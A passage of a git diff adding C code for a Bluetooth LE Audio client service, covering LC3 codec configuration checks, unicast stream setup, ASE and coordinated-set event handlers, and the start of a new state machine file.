bool duration_10 = lc3_config->duration; + bool ret = false; + + if (duration_10) { + if (pac->codec_cap.durations & ADPT_LEA_PREFERRED_FRAME_DURATION_10) { + ret = true; + } else if (pac->codec_cap.durations & ADPT_LEA_SUPPORTED_FRAME_DURATION_10) { + ret = true; + } + } else { + if (pac->codec_cap.durations & ADPT_LEA_PREFERRED_FRAME_DURATION_7_5) { + ret = true; + } else if (pac->codec_cap.durations & ADPT_LEA_SUPPORTED_FRAME_DURATION_7_5) { + ret = true; + } + } + + return ret; +} + +static bool leac_client_lc3_frequency_checked(const lea_client_capability_t* pac, const lea_lc3_config_t* lc3_config) +{ + bool ret = false; + + if (lc3_config->frequency < 1) { + BT_LOGE("%s, invalid frequency(%d)", __func__, lc3_config->frequency); + return false; + } + + if (pac->codec_cap.frequencies & (1 << (lc3_config->frequency - 1))) { + ret = true; + } + + return ret; +} + +static bool leac_client_lc3_octets_checked(const lea_client_capability_t* pac, const lea_lc3_config_t* lc3_config) +{ + bool ret = false; + + if ((lc3_config->octets >= pac->codec_cap.frame_octets_min) && (lc3_config->octets <= pac->codec_cap.frame_octets_max)) { + ret = true; + } + + return ret; +} + +static lea_lc3_set_id_t lea_client_get_prefer_lc3_set_id_from_pac(lea_client_capability_t* pac, uint8_t context) +{ + int index; + uint8_t* set_ids; + lea_lc3_set_id_t set_id; + const lea_lc3_config_t* lc3_config; + const lea_lc3_prefer_config* local_config; + + local_config = lea_client_get_initiator_lc3_config(context); + set_ids = local_config->set_10_ids; + set_id = ADPT_LEA_LC3_SET_UNKNOWN; + + for (index = 0; index < local_config->set_number; index++) { + set_id = set_ids[index]; + lc3_config = &g_lea_lc3_configs[set_id]; + + if (leac_client_lc3_frequency_checked(pac, lc3_config) && leac_client_lc3_octets_checked(pac, lc3_config) && leac_client_lc3_duation_checked(pac, lc3_config)) { + break; + } + + set_id = ADPT_LEA_LC3_SET_UNKNOWN; + } + + return set_id; +} + +static void lea_client_dump_pac(lea_client_device_t* device) +{ + lea_client_capability_t* pac; + + for (int pac_index = 0; pac_index < device->pac_number; pac_index++) { + pac = &device->pac[pac_index]; + BT_LOGD("pac id:0x%08x", pac->pac_id); + for (int md_index = 0; md_index < pac->metadata_number; md_index++) { + BT_LOGD("pac md type:%d", pac->metadata_value[md_index].type); + lib_dumpbuffer("pac md value", pac->metadata_value[md_index].extended_metadata, sizeof(pac->metadata_value[md_index].extended_metadata)); + } + } +} + +static lea_lc3_set_id_t lea_client_get_prefer_lc3_set_id_from_ase(uint8_t context, lea_client_device_t* device, lea_client_endpoint_t* ase) +{ + lea_client_capability_t* pac; + uint32_t preferred_contexts; + lea_lc3_set_id_t lc3_set_id; + + for (int pac_index = 0; pac_index < device->pac_number; pac_index++) { + pac = &device->pac[pac_index]; + preferred_contexts = ADPT_LEA_CONTEXT_TYPE_PROHIBITED; + + if (ase->is_source != pac->is_source) { + continue; + } + + for (int md_index = 0; md_index < pac->metadata_number; md_index++) { + if (pac->metadata_value[md_index].type == ADPT_LEA_METADATA_PREFERRED_AUDIO_CONTEXTS) { + preferred_contexts = pac->metadata_value[md_index].preferred_contexts; + break; + } + } + + if (preferred_contexts & LEA_BIT(context)) { + lc3_set_id = lea_client_get_prefer_lc3_set_id_from_pac(pac, context); + if (lc3_set_id != ADPT_LEA_LC3_SET_UNKNOWN) { + return lc3_set_id; + } + } + } + + return ADPT_LEA_LC3_SET_UNKNOWN; +} + +static lea_lc3_set_id_t lea_client_get_avaliable_lc3_set_id_from_ase(uint8_t context, lea_client_device_t* device, lea_client_endpoint_t* ase) +{ + lea_client_capability_t* pac; + uint32_t avaliable_contexts; + lea_lc3_set_id_t lc3_set_id; + + if (ase->is_source) { + avaliable_contexts = device->source_avaliable_ctx; + } else { + avaliable_contexts = device->sink_avaliable_ctx; + } + + for (int pac_index = 0; pac_index < device->pac_number; pac_index++) { + pac = &device->pac[pac_index]; + + if (ase->is_source != pac->is_source) { + continue; + } + + if (avaliable_contexts & LEA_BIT(context)) { + lc3_set_id = lea_client_get_prefer_lc3_set_id_from_pac(pac, context); + if (lc3_set_id != ADPT_LEA_LC3_SET_UNKNOWN) { + return lc3_set_id; + } + } + } + + return ADPT_LEA_LC3_SET_UNKNOWN; +} + +static bt_status_t lea_client_ucc_get_prefer_stream(lea_client_group_t* group, lea_client_device_t* device, lea_client_endpoint_t* endpoint, lea_audio_stream_t* stream) +{ + lea_lc3_set_id_t lc3_set_id; + + lc3_set_id = lea_client_get_prefer_lc3_set_id_from_ase(group->context, device, endpoint); + if (lc3_set_id == ADPT_LEA_LC3_SET_UNKNOWN) { + BT_LOGD("%s, try lea_client_get_avaliable_pac", __func__); + lc3_set_id = lea_client_get_avaliable_lc3_set_id_from_ase(group->context, device, endpoint); + if (lc3_set_id == ADPT_LEA_LC3_SET_UNKNOWN) { + BT_LOGE("%s, lea_client_get_avaliable_pac fail", __func__); + return BT_STATUS_FAIL; + } + } + BT_LOGD("%s, lc3_set_id:%d", __func__, lc3_set_id); + + memcpy(&stream->addr, &device->addr, sizeof(bt_address_t)); + stream->stream_id = endpoint->stream_id; + stream->target_latency = ADPT_LEA_ASE_TARGET_BALANCED; + stream->target_phy = ADPT_LEA_ASE_TARGET_PHY_2M; + + stream->codec_cfg.codec_id.format = 0x06; // LC3 + stream->codec_cfg.frequency = g_lea_lc3_configs[lc3_set_id].frequency; + stream->codec_cfg.duration = g_lea_lc3_configs[lc3_set_id].duration; + stream->codec_cfg.octets = g_lea_lc3_configs[lc3_set_id].octets; + + // todo prefer blocks and allocation + stream->codec_cfg.blocks = 1; + stream->codec_cfg.allocation = 0x01; + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_client_alloc_cis_id(uint8_t* cis_id) +{ + lea_client_service_t* service = &g_lea_client_service; + int salt; + + salt = index_alloc(service->index_allocator); + if (salt < 0) { + BT_LOGE("%s, index_alloc(%d) failed", __func__, salt); + return BT_STATUS_ERROR_BUT_UNKNOWN; + } + + *cis_id = (uint8_t)salt; + return BT_STATUS_SUCCESS; +} + +static void lea_client_free_cis_id(uint8_t cis_id) +{ + lea_client_service_t* service = &g_lea_client_service; + + index_free(service->index_allocator, cis_id); +} + +static bt_status_t lea_client_get_stream_id(uint32_t group_id, bt_address_t* addr, lea_client_endpoint_t* endpoint, + uint8_t cis_id, uint32_t* stream_id) +{ + CHECK_ENABLED(); + + *stream_id = endpoint->stream_id; + if (*stream_id > 0) { + return BT_STATUS_SUCCESS; + } + + return bt_sal_lea_alloc_stream_id(group_id, cis_id, endpoint->ase_id, endpoint->is_source, stream_id); +} + +static bool lea_client_filter_ase_from_context(int context, bool is_source) +{ + switch (context) { + case ADPT_LEA_CTX_ID_UNSPECIFIED: + return false; + case ADPT_LEA_CTX_ID_CONVERSATIONAL: + return true; + case ADPT_LEA_CTX_ID_MEDIA: + case ADPT_LEA_CTX_ID_GAME: + case ADPT_LEA_CTX_ID_INSTRUCTIONAL: + case ADPT_LEA_CTX_ID_SOUND_EFFECTS: + case ADPT_LEA_CTX_ID_NOTIFICATIONS: + case ADPT_LEA_CTX_ID_RINGTONE: + case ADPT_LEA_CTX_ID_ALERTS: + case ADPT_LEA_CTX_ID_EMERGENCY_ALARM: + return !is_source; + case ADPT_LEA_CTX_ID_VOICE_ASSISTANTS: + return is_source; + } + + return false; +} + +bt_status_t lea_client_ucc_add_streams(uint32_t group_id, bt_address_t* addr) +{ + lea_client_device_t* device; + lea_audio_stream_t stream; + int index; + uint8_t cis_id; + bt_status_t ret; + uint32_t stream_id; + lea_client_group_t* group; + bool opq = true; + + group = find_group_by_id(group_id); + if (!group) { + BT_LOGE("%s, device not found", __func__); + return BT_STATUS_NOT_FOUND; + } + + device = find_device_by_group_addr(group, addr); + if (!device) { + BT_LOGE("%s, device not found", __func__); + return BT_STATUS_NOT_FOUND; + } + + pthread_mutex_lock(&device->device_lock); + ret = lea_client_alloc_cis_id(&cis_id); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s, alloc_cis_id failed", __func__); + goto end; + } + device->cis_id = cis_id; + lea_client_dump_pac(device); + + for (index = 0; index < device->ase_number; index++) { + opq = true; + ret = lea_client_get_stream_id(group_id, addr, &device->ase[index], device->cis_id, &stream_id); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s, get_stream_id failed", __func__); + goto end; + } + + device->ase[index].stream_id = stream_id; + if (lea_client_ucc_get_prefer_stream(group, device, &device->ase[index], &stream) == BT_STATUS_SUCCESS) { + for (int j = 0; j < index; j++) { + if (device->ase[j].is_source == device->ase[index].is_source) { + opq = false; + } + } + + if (!lea_client_filter_ase_from_context(group->context, device->ase[index].is_source)) { + opq = false; + } + + if (opq) { + device->ase[index].active = true; + bt_sal_lea_ucc_group_add_stream(group_id, &stream); + } + } + } + +end: + pthread_mutex_unlock(&device->device_lock); + return ret; +} + +bt_status_t lea_client_ucc_remove_streams(uint32_t group_id, bt_address_t* addr) +{ + uint8_t number; + bt_status_t ret; + uint32_t stream_ids[LEA_CLIENT_MAX_STREAM_NUM]; + lea_client_device_t* device; + + ret = get_ases_streams_id_from_addr(group_id, addr, &number, stream_ids); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s, device no exist", __func__); + return ret; + } + + if (number > LEA_CLIENT_MAX_STREAM_NUM) { + BT_LOGE("%s, stream number(%d) over max(%d)", __func__, number, + LEA_CLIENT_MAX_STREAM_NUM); + return BT_STATUS_NOMEM; + } + + device = find_device_by_addr(addr); + if (!device) { + return BT_STATUS_NOT_FOUND; + } + lea_client_free_cis_id(device->cis_id); + + for (int index = 0; index < device->ase_number; index++) { + device->ase[index].active = false; + } + + return bt_sal_lea_ucc_group_remove_stream(group_id, number, stream_ids); +} + +bt_status_t lea_client_ucc_config_codec(uint32_t group_id, bt_address_t* addr) +{ + uint8_t number; + uint32_t stream_ids[LEA_CLIENT_MAX_STREAM_NUM]; + bt_status_t ret; + + ret = get_ases_streams_id_from_addr(group_id, addr, &number, stream_ids); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s, get_ases_streams_id_from_addr failed", __func__); + return ret; + } + + if (number > LEA_CLIENT_MAX_STREAM_NUM) { + BT_LOGE("%s, stream number(%d) over max(%d)", __func__, number, + LEA_CLIENT_MAX_STREAM_NUM); + return BT_STATUS_NOMEM; + } + + return bt_sal_lea_ucc_group_request_codec(group_id, number, stream_ids); +} + +bt_status_t lea_client_ucc_config_qos(uint32_t group_id, bt_address_t* addr, uint32_t stream_id) +{ + lea_client_service_t* service = &g_lea_client_service; + bool completed; + uint8_t number; + bt_status_t ret; + uint32_t stream_ids[LEA_CLIENT_MAX_STREAM_NUM]; + lea_client_device_t* device; + lea_client_endpoint_t* ase; + + device = find_device_by_groupid_addr(group_id, addr); + if (!device) { + return BT_STATUS_NOT_FOUND; + } + + ase = find_ase_by_device_streamid(device, stream_id); + if (!ase) { + return BT_STATUS_NOT_FOUND; + } + + pthread_mutex_lock(&device->device_lock); + ase->op = LEA_ASCS_OP_QOS; + pthread_mutex_unlock(&device->device_lock); + + pthread_mutex_lock(&service->group_lock); + completed = check_group_completed_by_op(group_id, LEA_ASCS_OP_QOS); + pthread_mutex_unlock(&service->group_lock); + if (!completed) { + BT_LOGD("%s, addr:%s group qos not completed", __func__, bt_addr_str(addr)); + return BT_STATUS_FAIL; + } + + ret = get_ases_streams_id_form_group(group_id, &number, stream_ids); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s, get_ases_streams_id_form_group failed", __func__); + return ret; + } + BT_LOGD("%s, addr:%s, number:%d", __func__, bt_addr_str(addr), number); + + if (number > LEA_CLIENT_MAX_STREAM_NUM) { + BT_LOGE("%s, stream number(%d) over max(%d)", __func__, number, + LEA_CLIENT_MAX_STREAM_NUM); + return BT_STATUS_NOMEM; + } + + return bt_sal_lea_ucc_group_request_qos(group_id, number, + stream_ids); +} + +bt_status_t lea_client_ucc_enable(uint32_t group_id, bt_address_t* addr, uint32_t stream_id) +{ + lea_client_service_t* service = &g_lea_client_service; + uint8_t number; + bt_status_t ret; + int index; + uint32_t stream_ids[LEA_CLIENT_MAX_STREAM_NUM]; + lea_metadata_t metadata[LEA_CLIENT_MAX_STREAM_NUM]; + bool completed; + lea_client_device_t* device; + lea_client_endpoint_t* ase; + lea_client_msg_t* msg; + lea_client_group_t* group; + + group = find_group_by_id(group_id); + if (!group) { + BT_LOGE("%s, group no exist", __func__); + return BT_STATUS_NOT_FOUND; + } + + device = find_device_by_group_addr(group, addr); + if (!device) { + return BT_STATUS_NOT_FOUND; + } + + ase = find_ase_by_device_streamid(device, stream_id); + if (!ase) { + return BT_STATUS_NOT_FOUND; + } + + pthread_mutex_lock(&device->device_lock); + ase->op = LEA_ASCS_OP_ENABLING; + pthread_mutex_unlock(&device->device_lock); + + pthread_mutex_lock(&service->group_lock); + completed = check_group_completed_by_op(group_id, LEA_ASCS_OP_ENABLING); + pthread_mutex_unlock(&service->group_lock); + if (!completed) { + BT_LOGD("%s, addr:%s group enabling not completed", __func__, bt_addr_str(addr)); + return BT_STATUS_FAIL; + } + + ret = get_ases_streams_id_form_context(group_id, &number, stream_ids); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s, get_ases_streams_id_form_group failed", __func__); + return ret; + } + BT_LOGD("%s, addr:%s, number:%d", __func__, bt_addr_str(addr), number); + + if (number > LEA_CLIENT_MAX_STREAM_NUM) { + BT_LOGE("%s, stream number(%d) over max(%d)", __func__, number, + LEA_CLIENT_MAX_STREAM_NUM); + return BT_STATUS_NOMEM; + } + + for (index = 0; index < number; index++) { + metadata[index].streaming_contexts = LEA_BIT(group->context); + metadata[index].type = ADPT_LEA_METADATA_STREAMING_AUDIO_CONTEXTS; + } + + // barrot stack stream started event come before enabling, here let sm come into started state + msg = lea_client_msg_new(STACK_EVENT_ASE_ENABLING, addr); + if (!msg) + return BT_STATUS_NOMEM; + + msg->data.valueint1 = stream_id; + msg->data.valueint2 = 0; + msg->data.valueint3 = group_id; + lea_client_send_message(msg); + + // todo prefer streams according to context + return bt_sal_lea_ucc_group_request_enable(group_id, number, stream_ids, metadata); +} + +bt_status_t lea_client_ucc_disable(uint32_t group_id, bt_address_t* addr) +{ + uint8_t number; + uint32_t stream_ids[LEA_CLIENT_MAX_STREAM_NUM]; + bt_status_t ret; + + ret = get_ases_streams_id_from_addr(group_id, addr, &number, stream_ids); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s, get_ases_streams_id_from_addr failed", __func__); + return ret; + } + + if (number > LEA_CLIENT_MAX_STREAM_NUM) { + BT_LOGE("%s, stream number(%d) over max(%d)", __func__, number, + LEA_CLIENT_MAX_STREAM_NUM); + return BT_STATUS_NOMEM; + } + + return bt_sal_lea_ucc_group_request_disable(group_id, number, + stream_ids); +} + +bt_status_t lea_client_ucc_started(uint32_t group_id) +{ + lea_client_service_t* service = &g_lea_client_service; + bt_list_t* list = service->leac_streams; + lea_audio_stream_t* stream; + bt_list_node_t* node; + lea_client_msg_t* msg; + lea_client_device_t* device; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + stream = bt_list_node(node); + if (stream->started && (stream->group_id == group_id)) { + device = find_device_by_addr(&stream->addr); + if (!device) { + BT_LOGE("%s, device not exist", __func__); + continue; + } + + msg = lea_client_msg_new_ext(STACK_EVENT_STREAM_STARTED, &stream->addr, + stream, sizeof(lea_audio_stream_t)); + if (!msg) + return BT_STATUS_NOMEM; + + lea_client_state_machine_dispatch(device->leasm, msg); + lea_client_msg_destory(msg); + } + } + + return BT_STATUS_SUCCESS; +} + +void lea_client_on_stack_state_changed(lea_client_stack_state_t enabled) +{ + lea_client_msg_t* msg = lea_client_msg_new(STACK_EVENT_STACK_STATE, + NULL); + if (!msg) + return; + + msg->data.valueint1 = enabled; + lea_client_send_message(msg); +} + +void lea_client_on_connection_state_changed(bt_address_t* addr, + profile_connection_state_t state) +{ + lea_client_msg_t* msg = lea_client_msg_new(STACK_EVENT_CONNECTION_STATE, + addr); + if (!msg) + return; + + msg->data.valueint1 = state; + lea_client_send_message(msg); +} + +void lea_client_on_storage_changed(void* value, uint32_t size) +{ + lea_client_msg_t* msg = lea_client_msg_new_ext(STACK_EVENT_STORAGE, NULL, + value, size); + if (!msg) + return; + + lea_client_send_message(msg); +} + +void lea_client_on_pac_event(bt_address_t* addr, lea_client_capability_t* cap) +{ + lea_client_device_t* device; + + device = find_device_by_addr(addr); + if (!device) { + BT_LOGE("%s, device not exist", __func__); + return; + } + + pthread_mutex_lock(&device->device_lock); + memcpy(&device->pac[device->pac_number], cap, sizeof(lea_client_capability_t)); + device->pac_number++; + pthread_mutex_unlock(&device->device_lock); +} + +void lea_client_on_ascs_event(bt_address_t* addr, uint8_t ase_state, bool is_source, uint8_t ase_id) +{ + lea_client_device_t* device; + int index; + bool found = false; + + device = find_device_by_addr(addr); + if (!device) { + BT_LOGE("%s, device not exist", __func__); + return; + } + + pthread_mutex_lock(&device->device_lock); + for (index = 0; index < device->ase_number; index++) { + if (device->ase[index].ase_id == ase_id) { + device->ase[index].ase_state = ase_state; + found = true; + break; + } + } + + if (!found) { + device->ase[device->ase_number].is_source = is_source; + device->ase[device->ase_number].ase_id = ase_id; + device->ase_number++; + } + + pthread_mutex_unlock(&device->device_lock); +} + +void lea_client_on_ascs_completed(bt_address_t* addr, uint32_t stream_id, uint8_t operation, uint8_t status) +{ + lea_client_group_t* group; + lea_client_event_t event; + lea_client_msg_t* msg; + + group = find_group_by_addr(addr); + if (!group) { + BT_LOGE("%s, group not exist", __func__); + return; + } + + switch (operation) { + case LEA_ASE_OP_CONFIG_CODEC: { + event = STACK_EVENT_ASE_CODEC_CONFIG; + break; + } + case LEA_ASE_OP_CONFIG_QOS: { + event = STACK_EVENT_ASE_QOS_CONFIG; + break; + } + case LEA_ASE_OP_ENABLE: { + event = STACK_EVENT_ASE_ENABLING; + break; + } + case LEA_ASE_OP_DISABLE: { + event = STACK_EVENT_ASE_DISABLING; + break; + } + case LEA_ASE_OP_RELEASE: { + event = STACK_EVENT_ASE_RELEASING; + break; + } + case LEA_ASE_OP_UPDATE_METADATA: { + event = STACK_EVENT_METADATA_UPDATED; + break; + } + default: { + BT_LOGE("%s, unexpect op:%d", __func__, operation); + return; + }; + } + + msg = lea_client_msg_new(event, addr); + if (!msg) + return; + + msg->data.valueint1 = stream_id; + msg->data.valueint2 = status; + msg->data.valueint3 = group->group_id; + lea_client_send_message(msg); +} + +void lea_client_on_audio_localtion_event(bt_address_t* addr, bool is_source, uint32_t allcation) +{ + lea_client_device_t* device; + + device = find_device_by_addr(addr); + if (!device) { + BT_LOGE("%s, device not exist", __func__); + return; + } + + pthread_mutex_lock(&device->device_lock); + if (is_source) { + device->source_allocation = allcation; + } else { + device->sink_allocation = allcation; + } + pthread_mutex_unlock(&device->device_lock); +} + +void lea_client_on_available_audio_contexts_event(bt_address_t* addr, uint32_t sink_ctxs, uint32_t source_ctxs) +{ + lea_client_device_t* device; + + device = find_device_by_addr(addr); + if (!device) { + BT_LOGE("%s, device not exist", __func__); + return; + } + + pthread_mutex_lock(&device->device_lock); + device->source_avaliable_ctx = source_ctxs; + device->sink_avaliable_ctx = sink_ctxs; + pthread_mutex_unlock(&device->device_lock); +} + +void lea_client_on_supported_audio_contexts_event(bt_address_t* addr, uint32_t sink_ctxs, uint32_t source_ctxs) +{ + lea_client_device_t* device; + + device = find_device_by_addr(addr); + if (!device) { + BT_LOGE("%s, devicenot exist", __func__); + return; + } + + pthread_mutex_lock(&device->device_lock); + device->source_supported_ctx = source_ctxs; + device->sink_supported_ctx = sink_ctxs; + pthread_mutex_unlock(&device->device_lock); +} + +void lea_client_on_stream_added(bt_address_t* addr, uint32_t stream_id) +{ + lea_client_msg_t* msg = lea_client_msg_new(STACK_EVENT_STREAM_ADDED, addr); + if (!msg) + return; + + msg->data.valueint1 = stream_id; + lea_client_send_message(msg); +} + +void lea_client_on_stream_removed(bt_address_t* addr, uint32_t stream_id) +{ + lea_client_msg_t* msg = lea_client_msg_new(STACK_EVENT_STREAM_REMOVED, addr); + if (!msg) + return; + + msg->data.valueint1 = stream_id; + lea_client_send_message(msg); +} + +void lea_client_on_stream_started(lea_audio_stream_t* audio) +{ + lea_audio_stream_t* stream; + lea_client_msg_t* msg; + + stream = lea_client_find_stream(audio->stream_id); + if (!stream) { + BT_LOGE("%s, failed stream_id:0x%08x", __func__, audio->stream_id); + return; + } + + if (!stream->is_source) { + lea_audio_source_set_callback(&lea_source_callbacks); + } else { + lea_audio_sink_set_callback(&lea_sink_callbacks); + } + + msg = lea_client_msg_new_ext(STACK_EVENT_STREAM_STARTED, + &stream->addr, audio, sizeof(lea_audio_stream_t)); + if (!msg) + return; + + lea_client_send_message(msg); +} + +void lea_client_on_stream_stopped(uint32_t stream_id) +{ + lea_audio_stream_t* stream; + lea_client_msg_t* msg; + + stream = lea_client_find_stream(stream_id); + if (!stream) { + BT_LOGE("%s, failed stream_id:0x%08x", __func__, stream_id); + return; + } + + msg = lea_client_msg_new(STACK_EVENT_STREAM_STOPPED, &stream->addr); + if (!msg) + return; + + msg->data.valueint1 = stream_id; + lea_client_send_message(msg); +} + +void lea_client_on_stream_suspend(uint32_t stream_id) +{ + lea_audio_stream_t* stream; + lea_client_msg_t* msg; + + stream = lea_client_find_stream(stream_id); + if (!stream) { + BT_LOGE("%s, failed stream_id:0x%08x", __func__, stream_id); + return; + } + + msg = lea_client_msg_new(STACK_EVENT_STREAM_SUSPEND, &stream->addr); + if (!msg) + return; + + msg->data.valueint1 = stream_id; + lea_client_send_message(msg); +} + +void lea_client_on_stream_resume(uint32_t stream_id) +{ + lea_audio_stream_t* stream; + lea_client_msg_t* msg; + + stream = lea_client_find_stream(stream_id); + if (!stream) { + BT_LOGE("%s, failed stream_id:0x%08x", __func__, stream_id); + return; + } + + msg = lea_client_msg_new(STACK_EVENT_STREAM_RESUME, &stream->addr); + if (!msg) + return; + + msg->data.valueint1 = stream_id; + lea_client_send_message(msg); +} + +void lea_client_on_metedata_updated(uint32_t stream_id) +{ + lea_audio_stream_t* stream; + lea_client_msg_t* msg; + + stream = lea_client_find_stream(stream_id); + if (!stream) { + BT_LOGE("%s, failed stream_id:0x%08x", __func__, stream_id); + return; + } + + msg = lea_client_msg_new(STACK_EVENT_METADATA_UPDATED, &stream->addr); + if (!msg) + return; + + msg->data.valueint1 = stream_id; + lea_client_send_message(msg); +} + +void lea_client_on_stream_recv(uint32_t stream_id, uint32_t time_stamp, + uint16_t seq_number, uint8_t* sdu, uint16_t size) +{ + lea_audio_stream_t* stream; + lea_recv_iso_data_t* packet; + + stream = lea_client_find_stream(stream_id); + if (!stream) { + BT_LOGE("%s, failed stream_id:0x%08x", __func__, stream_id); + return; + } + + packet = lea_audio_sink_packet_alloc(time_stamp, seq_number, sdu, size); + if (!packet) + return; + + // todo mix from many stream ? + lea_audio_sink_packet_recv(packet); +} + +void lea_client_on_csip_sirk_event(bt_address_t* addr, uint8_t type, uint8_t* sirk) +{ + lea_csip_msg_t* msg; + + msg = lea_csip_msg_new_ext(STACK_EVENT_CSIP_CS_SIRK, addr, LEA_CLIENT_SRIK_SIZE); + if (!msg) + return; + + memcpy(msg->event_data.dataarry, sirk, LEA_CLIENT_SRIK_SIZE); + msg->event_data.valueint8 = type; + lea_csip_send_message(msg); +} + +void lea_client_on_csip_size_event(bt_address_t* addr, uint8_t cs_size) +{ + lea_csip_msg_t* msg; + + msg = lea_csip_msg_new(STACK_EVENT_CSIP_CS_SIZE, addr); + if (!msg) + return; + + msg->event_data.valueint8 = cs_size; + lea_csip_send_message(msg); +} + +void lea_client_on_csip_member_lock(bt_address_t* addr, uint8_t lock) +{ + lea_csip_msg_t* msg; + uint8_t event; + + event = lock ? STACK_EVENT_CSIP_MEMBER_LOCKED : STACK_EVENT_CSIP_MEMBER_UNLOCKED; + msg = lea_csip_msg_new(event, addr); + if (!msg) + return; + + msg->event_data.valueint8 = lock; + lea_csip_send_message(msg); +} + +void lea_client_on_csip_member_rank_event(bt_address_t* addr, uint8_t rank) +{ + lea_csip_msg_t* msg; + + msg = lea_csip_msg_new(STACK_EVENT_CSIP_MEMBER_RANK, addr); + if (!msg) + return; + + msg->event_data.valueint8 = rank; + lea_csip_send_message(msg); +} + +void lea_client_on_csip_set_created(uint8_t* sirk) +{ + lea_csip_msg_t* msg; + + msg = lea_csip_msg_new_ext(STACK_EVENT_CSIP_CS_CREATED, NULL, LEA_CLIENT_SRIK_SIZE); + if (!msg) + return; + + memcpy(msg->event_data.dataarry, sirk, LEA_CLIENT_SRIK_SIZE); + lea_csip_send_message(msg); +} + +void lea_client_on_csip_set_size_updated(uint8_t* sirk, uint8_t cs_size) +{ + lea_csip_msg_t* msg; + + msg = lea_csip_msg_new_ext(STACK_EVENT_CSIP_CS_SIZE_UPDATED, NULL, LEA_CLIENT_SRIK_SIZE); + if (!msg) + return; + + msg->event_data.valueint8 = cs_size; + memcpy(msg->event_data.dataarry, sirk, LEA_CLIENT_SRIK_SIZE); + + lea_csip_send_message(msg); +} + +void lea_client_on_csip_set_removed(uint8_t* sirk) +{ + lea_csip_msg_t* msg; + + msg = lea_csip_msg_new_ext(STACK_EVENT_CSIP_CS_DELETED, NULL, LEA_CLIENT_SRIK_SIZE); + if (!msg) + return; + + memcpy(msg->event_data.dataarry, sirk, LEA_CLIENT_SRIK_SIZE); + lea_csip_send_message(msg); +} + +void lea_client_on_csip_set_member_discovered(bt_address_t* addr, uint8_t* sirk) +{ + lea_csip_msg_t* msg; + + msg = lea_csip_msg_new_ext(STACK_EVENT_CSIP_MEMBER_DISCOVERED, addr, LEA_CLIENT_SRIK_SIZE); + if (!msg) + return; + + memcpy(msg->event_data.dataarry, sirk, LEA_CLIENT_SRIK_SIZE); + lea_csip_send_message(msg); +} + +void lea_client_on_csip_set_member_added(bt_address_t* addr, uint8_t* sirk) +{ + lea_csip_msg_t* msg; + + msg = lea_csip_msg_new_ext(STACK_EVENT_CSIP_MEMBER_ADD, addr, LEA_CLIENT_SRIK_SIZE); + if (!msg) + return; + + memcpy(msg->event_data.dataarry, sirk, LEA_CLIENT_SRIK_SIZE); + lea_csip_send_message(msg); +} + +void lea_client_on_csip_set_member_removed(bt_address_t* addr, uint8_t* sirk) +{ + lea_csip_msg_t* msg; + + msg = lea_csip_msg_new_ext(STACK_EVENT_CSIP_MEMBER_REMOVED, addr, LEA_CLIENT_SRIK_SIZE); + if (!msg) + return; + + memcpy(msg->event_data.dataarry, sirk, LEA_CLIENT_SRIK_SIZE); + lea_csip_send_message(msg); +} + +void lea_client_on_csip_discovery_terminated(uint8_t* sirk) +{ + lea_csip_msg_t* msg; + + msg = lea_csip_msg_new_ext(STACK_EVENT_CSIP_MEMBER_DISCOVERY_TERMINATED, NULL, LEA_CLIENT_SRIK_SIZE); + if (!msg) + return; + + memcpy(msg->event_data.dataarry, sirk, LEA_CLIENT_SRIK_SIZE); + lea_csip_send_message(msg); +} + +void lea_client_on_csip_set_lock_changed(uint8_t* sirk, bool locked, lea_csip_lock_status result) +{ + lea_csip_msg_t* msg; + lea_csip_event_t event; + + if (locked) { + event = STACK_EVENT_CSIP_CS_LOCKED; + } else { + event = STACK_EVENT_CSIP_CS_UNLOCKED; + } + + msg = lea_csip_msg_new_ext(event, NULL, LEA_CLIENT_SRIK_SIZE); + if (!msg) + return; + + memcpy(msg->event_data.dataarry, sirk, LEA_CLIENT_SRIK_SIZE); + msg->event_data.valueint8 = result; + lea_csip_send_message(msg); +} + +void lea_client_on_csip_set_ordered_access(uint8_t* sirk, lea_csip_lock_status result) +{ + lea_csip_msg_t* msg; + + msg = lea_csip_msg_new_ext(STACK_EVENT_CSIP_CS_ORDERED_ACCESS, NULL, LEA_CLIENT_SRIK_SIZE); + if (!msg) + return; + + memcpy(msg->event_data.dataarry, sirk, LEA_CLIENT_SRIK_SIZE); + msg->event_data.valueint8 = result; + lea_csip_send_message(msg); +} + +static const profile_service_t lea_client_service = { + .auto_start = true, + .name = PROFILE_LEA_CLIENT_NAME, + .id = PROFILE_LEAUDIO_CLIENT, + .transport = BT_TRANSPORT_BLE, + .uuid = { BT_UUID128_TYPE, { 0 } }, + .init = lea_client_init, + .startup = lea_client_startup, + .shutdown = lea_client_shutdown, + .process_msg = lea_client_process_msg, + .get_state = lea_client_get_state, + .get_profile_interface = get_leac_profile_interface, + .cleanup = lea_client_cleanup, + .dump = lea_client_dump, +}; + +void register_lea_client_service(void) +{ + register_service(&lea_client_service); +} diff --git a/service/profiles/leaudio/client/lea_client_state_machine.c b/service/profiles/leaudio/client/lea_client_state_machine.c new file mode 100644 index 0000000000000000000000000000000000000000..f18fba3fd1aa8739359217184a2c6ced40bd331c --- /dev/null +++ b/service/profiles/leaudio/client/lea_client_state_machine.c @@ -0,0 +1,730 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "lea_client_stm" + +#include <stdbool.h> +#include <stdlib.h> +#include <string.h> +#include <sys/types.h> + +#include "bt_addr.h" +#include "bt_lea_client.h" +#include "bt_list.h" +#include "hci_parser.h" +#include "lea_audio_sink.h" +#include "lea_audio_source.h" +#include "lea_client_service.h" +#include "lea_client_state_machine.h" +#include "lea_codec.h" +#include "sal_interface.h" +#include "sal_lea_client_interface.h" +#include 